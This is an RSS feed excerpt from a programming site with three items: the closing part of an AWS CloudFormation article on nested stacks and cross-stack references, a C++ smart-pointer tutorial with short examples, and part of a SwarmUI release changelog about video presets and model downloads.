&lt;h4 id=&quot;what-would-happen-without-nested-stacks&quot;&gt;What Would Happen Without Nested Stacks&lt;/h4&gt;
&lt;p&gt;All resources live in one template. It grows. Team members modify the same file. Changes to the network layer require touching the application template. Testing one component requires deploying everything. The template becomes the infrastructure equivalent of a 5,000-line monolithic application technically functional but practically unmaintainable.&lt;/p&gt;
&lt;h4 id=&quot;limitation-4&quot;&gt;Limitation&lt;/h4&gt;
&lt;p&gt;Nested stacks solve the organization and size problem within a single deployment. They do not solve the problem of sharing infrastructure across multiple independent teams or projects. If Team A creates a VPC that Team B also needs, nested stacks are not the right tool Cross-Stack References are.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;cross-stack-references&quot;&gt;Cross-Stack References&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-nested-stacks-do-not-solve&quot;&gt;The Problem Nested Stacks Do Not Solve&lt;/h4&gt;
&lt;p&gt;Nested stacks keep related resources together. But what about shared infrastructure that multiple independent stacks need to reference?&lt;/p&gt;
&lt;p&gt;Your networking team creates a VPC stack: VPC, subnets, route tables, NAT gateways. This is the foundation. Three separate application teams each deploy their own stacks that need to run inside that VPC.&lt;/p&gt;
&lt;p&gt;With nested stacks, the networking stack would need to be the parent of all three application stacks. That creates an artificial coupling the networking team owns the deployment of all application stacks. This does not reflect how real teams work.&lt;/p&gt;
&lt;p&gt;The right model is: the networking stack exists independently, exports its values, and each application stack imports what it needs.&lt;/p&gt;
&lt;h4 id=&quot;the-solution-exports-and-importvalue&quot;&gt;The Solution: Exports and ImportValue&lt;/h4&gt;
&lt;p&gt;A stack can export named values. Any other stack in the same region and account can import those values.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exporting stack (networking stack):&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&quot;naming-convention&quot;&gt;Naming Convention&lt;/h4&gt;
&lt;p&gt;Export names must be unique within a region and account. The convention &lt;code&gt;StackName-ResourceName&lt;/code&gt; is standard. You can also use &lt;code&gt;!Sub&lt;/code&gt; with pseudo parameters for uniqueness:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Export:
  Name: !Sub &quot;${AWS::StackName}-VpcId&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;putting-it-all-together-&quot;&gt;Putting It All Together.&lt;/h3&gt;
&lt;p&gt;Every feature in CloudFormation exists because there was a real problem that could not be solved without it. Here is how they connect:&lt;/p&gt;
&lt;p&gt;None of these features are optional in a serious production environment. Each one closes a gap that, without it, requires manual intervention, custom scripting, or accepted risk.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Written by &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.leonardkachi.click/&quot;&gt;&lt;strong&gt;Onyedikachi Obidiegwu&lt;/strong&gt;&lt;/a&gt; | Cloud Security Engineer&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26565/infrastructure-as-code-with-aws-cloudformation</guid>
<pubDate>Wed, 09 Sep 2026 07:23:07 +0000</pubDate>
</item>
<item>
<title>C++ Smart Pointers, unique_ptr vs shared_ptr vs weak_ptr — How to Choose</title>
<link>https://coderlegion.com/26260/c-smart-pointers-uniqueptr-vs-sharedptr-vs-weakptr-how-to-choose</link>
<description>&lt;p&gt;When I first learned about smart pointers, I was equally confused by all three of them! They are used to manage memory dynamically. &lt;code&gt;unique_ptr&lt;/code&gt; is like a master who is responsible for its pet's life. &lt;code&gt;shared_ptr&lt;/code&gt; is like you and your friends renting a house together. &lt;code&gt;weak_ptr&lt;/code&gt; is like a bystander who can only watch. This post explains what each one really does, with short examples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quick answer: use &lt;code&gt;unique_ptr&lt;/code&gt; by default. Use &lt;code&gt;shared_ptr&lt;/code&gt; only when ownership is truly shared. Use &lt;code&gt;weak_ptr&lt;/code&gt; when you need to observe without owning.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;unique_ptr          &lt;/th&gt;&lt;th&gt;shared_ptr                                         &lt;/th&gt;&lt;th&gt;weak_ptr&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Ownership model             &lt;/td&gt;&lt;td&gt;exclusive ownership &lt;/td&gt;&lt;td&gt;shared ownership                                   &lt;/td&gt;&lt;td&gt;no ownership&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Can it be copied            &lt;/td&gt;&lt;td&gt;No                  &lt;/td&gt;&lt;td&gt;Yes                                                &lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Can it have multiple owners &lt;/td&gt;&lt;td&gt;No                  &lt;/td&gt;&lt;td&gt;Yes                                                &lt;/td&gt;&lt;td&gt;No (it owns nothing)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Reference counting overhead &lt;/td&gt;&lt;td&gt;none                &lt;/td&gt;&lt;td&gt;atomic count increase/decrease on copy and destroy &lt;/td&gt;&lt;td&gt;touches a separate weak count, never the strong count&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;How to choose               &lt;/td&gt;&lt;td&gt;the default choice  &lt;/td&gt;&lt;td&gt;when ownership is truly shared                     &lt;/td&gt;&lt;td&gt;to break circular references&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;unique-ptr&quot;&gt;Unique_ptr&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;unique_ptr&lt;/code&gt; means: &quot;I'm your master and responsible for your life and death.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;
using namespace std;

struct Task {
    int mId;
    Task(int id) :mId(id) {
        cout &amp;lt;&amp;lt; &quot;Task::Constructor&quot; &amp;lt;&amp;lt; endl;
    }
    ~Task() {
        cout &amp;lt;&amp;lt; &quot;Task::Destructor&quot; &amp;lt;&amp;lt; endl;
    }
};

int main()
{
    unique_ptr&amp;lt;Task&amp;gt; taskPtr(new Task(23));
    int id = taskPtr-&amp;gt;mId;

    cout &amp;lt;&amp;lt; id &amp;lt;&amp;lt; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Task::Constructor
23
Task::Destructor
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;why-unique-ptr-can-t-be-copied&quot;&gt;Why unique_ptr can't be copied&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;unique_ptr&lt;/code&gt; can't be copy-constructed or copy-assigned, because copying would let two &lt;code&gt;unique_ptr&lt;/code&gt;s point to the same object — and when both are destroyed, the object would be deleted twice. Instead, you use &lt;code&gt;std::move&lt;/code&gt; to transfer ownership.&lt;/p&gt;
&lt;p&gt;More on ownership transfer: see my earlier post, &lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/25146/c-uniqueptr-reset-vs-release-vs-std-move&quot;&gt;reset() vs release() vs std::move&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;when-to-choose-unique-ptr&quot;&gt;When to choose unique_ptr&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unique_ptr&lt;/code&gt; prevents memory leaks caused by programming errors — the object is freed automatically when the pointer goes out of scope, even if you forget to &lt;code&gt;delete&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ownership can be transferred cheaply with &lt;code&gt;std::move&lt;/code&gt;, without copying the managed object.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;shared-ptr&quot;&gt;Shared_ptr&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;shared_ptr&lt;/code&gt; means: the house is rented together by friends. When one friend moves out, the house still belongs to the rest — the object is destroyed only when the last owner releases it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;

class House {
public:
    House()  { std::cout &amp;lt;&amp;lt; &quot;That's a big house.&quot; &amp;lt;&amp;lt; std::endl; }
    ~House() { std::cout &amp;lt;&amp;lt; &quot;Bye&quot; &amp;lt;&amp;lt; std::endl; }
};

int main() {
    std::shared_ptr&amp;lt;House&amp;gt; friend1 = std::make_shared&amp;lt;House&amp;gt;();  // one allocation: object + control block
    std::shared_ptr&amp;lt;House&amp;gt; friend2 = friend1;  // a roommate moves in

    std::cout &amp;lt;&amp;lt; friend1.use_count() &amp;lt;&amp;lt; std::endl;  // 2
    std::cout &amp;lt;&amp;lt; friend2.use_count() &amp;lt;&amp;lt; std::endl;  // 2

    friend1.reset();  // a friend moves out
    std::cout &amp;lt;&amp;lt; friend2.use_count() &amp;lt;&amp;lt; std::endl;  // 1
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each &lt;code&gt;shared_ptr&lt;/code&gt; copy increments the reference count; each destruction or &lt;code&gt;reset()&lt;/code&gt; decrements it. When the count reaches zero, the object is destroyed.&lt;/p&gt;
&lt;h4 id=&quot;thread-safety-of-shared-ptr&quot;&gt;Thread safety of shared_ptr&lt;/h4&gt;
&lt;p&gt;The member functions of &lt;code&gt;shared_ptr&lt;/code&gt; (including the copy constructor and copy assignment operator) can be called on different &lt;code&gt;shared_ptr&lt;/code&gt; instances from multiple threads at the same time without any extra synchronization. However, if multiple threads access the same &lt;code&gt;shared_ptr&lt;/code&gt; instance and at least one of them calls a non-const member function, a data race occurs. To share the same instance safely, use &lt;code&gt;std::atomic&amp;lt;std::shared_ptr&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; (since C++20). In C++11/14/17, use the free functions &lt;code&gt;std::atomic_load()&lt;/code&gt; and &lt;code&gt;std::atomic_store()&lt;/code&gt; instead.&lt;/p&gt;
&lt;h4 id=&quot;the-trap-of-shared-ptr-circular-references&quot;&gt;The trap of shared_ptr: circular references&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;shared_ptr&lt;/code&gt; has one famous trap: circular references. If two objects own each other with &lt;code&gt;shared_ptr&lt;/code&gt;, neither reference count can ever reach zero — the memory leaks even after you drop all external references. A doubly-linked structure shows the shape of the problem:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;memory&amp;gt;

struct Node {
    std::shared_ptr&amp;lt;Node&amp;gt; next;
    std::weak_ptr&amp;lt;Node&amp;gt; prev;  // must NOT be shared_ptr — otherwise two nodes
                               // keep each other alive forever and leak
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;weak_ptr&lt;/code&gt; for the &quot;back&quot; direction. It breaks the cycle: the object is freed when no one strongly owns it, and the back-pointer simply expires.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;weak-ptr&quot;&gt;Weak_ptr&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;weak_ptr&lt;/code&gt; means: I'm a bystander. I can observe you, but I'm not responsible for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;

class Object {
public:
    Object(int value) : data(value) {
        std::cout &amp;lt;&amp;lt; &quot;Object created with value: &quot; &amp;lt;&amp;lt; data &amp;lt;&amp;lt; std::endl;
    }
    ~Object() {
        std::cout &amp;lt;&amp;lt; &quot;Object destroyed with value: &quot; &amp;lt;&amp;lt; data &amp;lt;&amp;lt; std::endl;
    }
    int data;
};

int main() {
    std::shared_ptr&amp;lt;Object&amp;gt; sharedObjectA = std::make_shared&amp;lt;Object&amp;gt;(42);
    std::weak_ptr&amp;lt;Object&amp;gt; weakObjectA = sharedObjectA;

    if (auto sp = weakObjectA.lock()) {  // safe idiom: check and lock in one step
        std::cout &amp;lt;&amp;lt; &quot;Value: &quot; &amp;lt;&amp;lt; sp-&amp;gt;data &amp;lt;&amp;lt; std::endl;
    } else {
        std::cout &amp;lt;&amp;lt; &quot;Object is gone&quot; &amp;lt;&amp;lt; std::endl;
    }

    sharedObjectA.reset();
    std::cout &amp;lt;&amp;lt; &quot;End of the Program&quot; &amp;lt;&amp;lt; std::endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;key-member-functions&quot;&gt;Key member functions&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;lock()&lt;/code&gt;: if the object is still alive, returns a temporary &lt;code&gt;shared_ptr&lt;/code&gt;; if it has been destroyed, returns an empty &lt;code&gt;shared_ptr&lt;/code&gt;. Always use &lt;code&gt;if (auto sp = w.lock())&lt;/code&gt; instead of calling &lt;code&gt;expired()&lt;/code&gt; and then &lt;code&gt;lock()&lt;/code&gt; separately — the object could be destroyed between the two calls.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;expired()&lt;/code&gt;: checks whether the managed object has already been destroyed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reset()&lt;/code&gt;: releases the weak reference.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;swap()&lt;/code&gt;: swaps the managed object with another &lt;code&gt;weak_ptr&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;application&quot;&gt;Application&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breaking circular references&lt;/strong&gt;: when an object needs to reference another object without owning it — like &lt;code&gt;Node::prev&lt;/code&gt; above — use &lt;code&gt;weak_ptr&lt;/code&gt;. The cycle is broken, and both objects are safely released when no longer needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caching systems&lt;/strong&gt;: caches often hold &lt;code&gt;weak_ptr&lt;/code&gt;s so they don't keep objects alive; when an object is no longer used anywhere else, the cache entry simply expires instead of leaking.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;q-amp-a&quot;&gt;Q&amp;amp;A&lt;/h3&gt;
&lt;p&gt;Q: &lt;strong&gt;Can a &lt;code&gt;unique_ptr&lt;/code&gt; be converted into a &lt;code&gt;shared_ptr&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
A: Yes, and it's the only &quot;copy-like&quot; conversion allowed — it actually moves the ownership: &lt;code&gt;std::shared_ptr&amp;lt;T&amp;gt; sp(std::move(up));&lt;/code&gt;. The reference count starts at 1 and nobody has to worry about double deletion.&lt;/p&gt;
&lt;p&gt;Q: &lt;strong&gt;Is &lt;code&gt;shared_ptr&lt;/code&gt; thread-safe?&lt;/strong&gt;&lt;br&gt;
A: Partly. The reference counting is atomic, so copies and destructions on different instances are safe. But the pointed-to object itself is not protected — if two threads read and write the object's data through their &lt;code&gt;shared_ptr&lt;/code&gt;s, you still need a mutex or an atomic.&lt;/p&gt;
&lt;p&gt;Q: &lt;strong&gt;Can I copy a &lt;code&gt;unique_ptr&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
A: No, by design — copying would cause the object to be deleted twice. If you really need to transfer it, &lt;code&gt;std::move&lt;/code&gt; it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;reference&quot;&gt;Reference&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/memory/unique_ptr&quot;&gt;std::unique_ptr - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/memory/shared_ptr&quot;&gt;std::shared_ptr - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/memory/weak_ptr&quot;&gt;std::weak_ptr - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26260/c-smart-pointers-uniqueptr-vs-sharedptr-vs-weakptr-how-to-choose</guid>
<pubDate>Sat, 05 Sep 2026 13:18:53 +0000</pubDate>
</item>
<item>
<title>SwarmUI Latest Updates</title>
<link>https://coderlegion.com/25573/swarmui-latest-updates</link>
<description>&lt;blockquote&gt;&lt;p&gt;By &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses&quot;&gt;SECourses: FLUX, Tutorials, Guides, Resources, Training, Scripts&lt;/a&gt; | &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/swarmui-latest-167877424&quot;&gt;Original Patreon post&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Get the SwarmUI Installer and Model Downloader app and the presets from here :&lt;/strong&gt; &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/swarmui-auto-and-114517862&quot;&gt;https://www.patreon.com/SECourses/posts/swarmui-auto-and-114517862&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;28-august-2026-update-v172&quot;&gt;28 August 2026 Update V172&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Reference tokens are more robust now.&lt;ul&gt;
&lt;li&gt;Variants such as @IMAGE1, @ image # 2, and  are recognized and normalized automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Prompt-label handling and makes token estimates more accurate for multi-frame continuation and Image-to-Video workflows now.&lt;/li&gt;
&lt;li&gt;Better Video Continuation&lt;ul&gt;
&lt;li&gt;Init Video Continuation 1.3.1 now supports 1, 5, 22, 39, or 56 context frames.&lt;/li&gt;
&lt;li&gt;One-frame mode preserves the previous behavior. Multi-frame mode uses MiniMax H3's native clip conditioning for smoother transitions.&lt;/li&gt;
&lt;li&gt;Replayed context frames and matching audio are removed automatically during merging, preventing duplicated footage or sound.&lt;/li&gt;
&lt;li&gt;Source audio is preserved and generated audio is appended at the continuation boundary.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Start Frame / Init Video now accepts an image or video. Uploaded videos can be continued and optionally merged with the newly generated segment.&lt;/li&gt;
&lt;li&gt;Continuation no longer consumes a Ref2VA reference-image slot.&lt;/li&gt;
&lt;li&gt;MiniMax H3 Fixes&lt;ul&gt;
&lt;li&gt;Fixed text-only Audio Only workflows failing to recognize SwarmUI's H3 latent canvas.&lt;/li&gt;
&lt;li&gt;Fixed pasted multiline wildcard text being collapsed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;WD14 Tagger Hardening&lt;ul&gt;
&lt;li&gt;All 19 supported model repositories are now allowlisted and pinned to reviewed, immutable Hugging Face revisions.&lt;/li&gt;
&lt;li&gt;Downloaded Taggerine inference code must pass SHA-256 verification before execution.&lt;/li&gt;
&lt;li&gt;Added stricter validation for model IDs, thresholds, image types and sizes, model directories, and temporary output paths.&lt;/li&gt;
&lt;li&gt;Runtime package installation was removed. Missing dependencies now produce clear installation instructions instead of modifying the ComfyUI environment during generation.&lt;/li&gt;
&lt;li&gt;Added dedicated security-boundary tests.&lt;/li&gt;
&lt;li&gt;Install from this repo manually &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/FurkanGozukara/SwarmUI-WD14Tagger&quot;&gt;https://github.com/FurkanGozukara/SwarmUI-WD14Tagger&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Automatic Installers / Updaters Reliability&lt;ul&gt;
&lt;li&gt;Aggressive Git updates now clean untracked leftovers after repository resets, improving recovery from blocked or inconsistent node updates.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Get latest zip file extract and overwrite all files&lt;ul&gt;
&lt;li&gt;Import latest presets&lt;/li&gt;
&lt;li&gt;Run Windows_Install_SwarmUI.bat to update latest&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Get latest ComfyUI and update it to latest as well&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&quot;&gt;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;More latent frames will increase vram usage a lot so be careful&lt;/li&gt;
&lt;li&gt;This feature added to ComfyUI presets as well read changelogs on ComfyUI&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/dYinNhHHycQ3laD_8pCED.png&quot; alt=&quot;SwarmUI update screenshot 1&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;22-august-2026-update-v170&quot;&gt;22 August 2026 Update V170&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This is a very big update : LTX 2.5 video generation presets + LTX 2.5 Video Core Bundle, new FLUX 2 Klein INT8 / INT4 ConvRot HQ models, MiniMax H3 Init Audio (make the video follow any soundtrack with lipsync), live prompt token meter, Face Inpainting upgrades, a big model downloader UI upgrade and a huge installer / updater overhaul so please read all&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LTX 2.5 video generation presets finally added&lt;/strong&gt; : Amazing_SwarmUI_Presets_v70.json brings 6 new presets : LTX25 Text To Video - Core 2-Stage 8+3, LTX25 Image To Video - Core 2-Stage 8+3, LTX25 First Last Frame - Core 2-Stage 8+3, LTX25 Audio Reference To Video - Core 2-Stage 8+3, LTX25 Text To Video - Dev HQ 30+6 and LTX25 Image To Video - Dev HQ 30+6 (all 260822)&lt;/li&gt;
&lt;li&gt;Audio Reference To Video : add a Prompt Audio file and describe the matching visuals - the native LTX 2.5 audio branch makes the video follow your audio (lipsync, timing) - Image To Video and First Last Frame presets : add an Init Image (and a Video End Frame) and describe only the motion, camera and sound instead of re-describing the still&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/m3uWWjvvfCdLs3_Q6O1_m.png&quot; alt=&quot;SwarmUI update screenshot 2&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All 6 presets are two-stage : the first stage generates at 960x544, then SwarmUI's Refine / Upscale applies the official LTX 2.5 latent spatial upscaler x2 and refines to model-aligned 1080p (1920x1088) with synchronized audio - 97 frames at 24 FPS (about 4 seconds) and H264 MP4 output by default&lt;/li&gt;
&lt;li&gt;Core presets use my LTX 2.5 Distilled INT8 ConvRot Premium model with 8 + 3 steps at CFG 1 and Euler Ancestral so they are fast - Dev HQ presets use my LTX 2.5 Dev INT8 ConvRot Premium model with 30 + 6 steps at CFG 3 and Euler for maximum prompt adherence and detail&lt;/li&gt;
&lt;li&gt;Everything is exposed as normal SwarmUI parameters so you can change resolution, duration, steps and the refiner settings as you like - increase Text2Video Frames for longer clips&lt;/li&gt;
&lt;li&gt;Import Amazing_SwarmUI_Presets_v70.json or run Windows_Preset_Delete_Import.bat to get them - the Which_Bundles_Downloads_Which_Preset_Models.html report is regenerated for the new presets as well&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/zSJBHPcOK1TnCrKvFEoJV.png&quot; alt=&quot;SwarmUI update screenshot 3&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LTX 2.5 Video Core Bundle&lt;/strong&gt; added to the model downloader : 1 click downloads everything the LTX 2.5 presets need - 10 files, 64.64 GB : Dev and Distilled INT8 ConvRot Premium transformers, Gemma 4 12B INT8 ConvRot v2 text encoder (SwarmUI's current default), Gemma 4 E2B INT8 ConvRot prompt enhancer, the convolutional and the diffusion video VAE, the audio VAE, the latent spatial upscaler x2, the pixel spatial upscaler x2 IC-LoRA and the motion track control IC-LoRA&lt;/li&gt;
&lt;li&gt;This one bundle covers every model referenced by all of our LTX 2.5 presets in both SwarmUI and ComfyUI, so you do not need to hunt for a second bundle to make any of them run&lt;/li&gt;
&lt;li&gt;The text encoder and both VAEs are saved with the exact LTX-2 sub folder and file names SwarmUI's own automatic downloader expects, so SwarmUI never downloads a second copy - in ComfyUI mode they go to models/text_encoders/LTX-2 and models/vae/LTX-2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No more gated downloads for LTX 2.5&lt;/strong&gt; : I have mirrored the remaining official Lightricks files into my own non-gated repository, so nothing in the LTX 2.5 list asks you to log in or accept a license anymore - this covers the official Dev and Distilled Comfy INT8 ConvRot transformers, the Distilled NVFP4 transformer (for RTX 5000 Blackwell), the pixel spatial upscaler x2 IC-LoRA and the latent spatial upscaler&lt;/li&gt;
&lt;li&gt;These official quantizations stay optional alternatives - my own Premium INT8 ConvRot conversions remain the default of the bundles and presets because they are higher quality, and the Gemma 4 E2B INT8 ConvRot prompt enhancer is also listed separately&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/Q6KO7jjVSEy5e2E0203iN.png&quot; alt=&quot;SwarmUI update screenshot 4&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Model downloader UI upgrade&lt;/strong&gt; : every model list and every bundle Includes list is now grouped by the folder the files are saved into : Main Models, Text Encoders, VAEs, LoRAs, ControlNets, Upscalers, Vision, Detection, LLM - biggest files first, and every group header shows the file count and total GB so you instantly see what goes where&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/AdLzn7NJ9WLWVVbRob-NB.png&quot; alt=&quot;SwarmUI update screenshot 5&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New Active Transfers panel&lt;/strong&gt; with a real progress bar per file (percent, downloaded / total, speed, ETA) above the Activity Log - the log is chronological now with a Follow newest log entry checkbox, it refreshes twice per second, and multiple open browser tabs no longer steal each other's updates&lt;/li&gt;
&lt;li&gt;The URL Downloader tab now shows its progress in the same panel instead of looking frozen, and every download reports \[STARTING\] immediately instead of showing nothing while the file metadata is fetched&lt;/li&gt;
&lt;li&gt;Console progress line reordered : percent, downloaded / total size, speed and ETA come first and the long file name goes last, so a narrow CMD window never cuts off the numbers - and when the output is not a real terminal (RunPod / Massed Compute logs) progress is still printed once per second instead of being silent&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/-VAlzhQ78qax8PhnuZv5O.png&quot; alt=&quot;SwarmUI update screenshot 6&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New LTX2.5_Enchance_Prompt_Feed_For_LLMs.txt&lt;/strong&gt; inside the Prompt_Generate_LTX_MiniMax_And_Presets_How_To_Use folder : an official-aligned LTX 2.5 prompting guide for LLMs - give it to ChatGPT / Claude / Gemini, tell it what you want, and it writes properly formatted LTX 2.5 prompts (text / image / audio to video, multi-shot and IC-LoRA conventions are all covered)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MiniMaxH3References extension 1.13.2&lt;/strong&gt; : videos and audio files attached with SwarmUI's own native prompt uploader are now recognized as MiniMax H3 references too - same cards, same @video1 / @audio1 tokens with autocomplete, same Ref2VA workflow&lt;ul&gt;
&lt;li&gt;All extensions and custom nodes automatically installed by our installers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FLUX 2 Klein INT8 and INT4 ConvRot HQ models&lt;/strong&gt; : I have compiled high quality INT8 ConvRot and INT4 ConvRot versions of FLUX 2 Klein myself - Base 9B, Distilled 9B and Distilled 9B kv - 6 new models added to the model downloader app&lt;/li&gt;
&lt;li&gt;FLUX 2 Klein Core Bundle and Complete Image Generation and Editing Bundle now download the INT8 ConvRot HQ versions - almost same quality as BF16 but massively faster, same as our Krea 2 and LTX 2.5 ConvRot models&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/LQ-CtO2LXhVYWGlesaaFF.png&quot; alt=&quot;SwarmUI update screenshot 7&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With Amazing_SwarmUI_Presets_v70.json both FLUX 2 Klein Base and FLUX 2 Klein Distilled 8 Steps presets now use the INT8 ConvRot HQ models&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MiniMax H3 FL2V Turbo 4-Step 768p speed LoRA updated to v1.1&lt;/strong&gt; : the model downloader now downloads minimax_h3_fl2v_turbo_4step_v1.1_768p_bf16.safetensors instead of the old v1.0 - this is the optional 16:9 aspect ratio speed up LoRA for 768p generations from LightX2V - MiniMax-H3 Core and Low VRAM bundles download the new version automatically&lt;/li&gt;
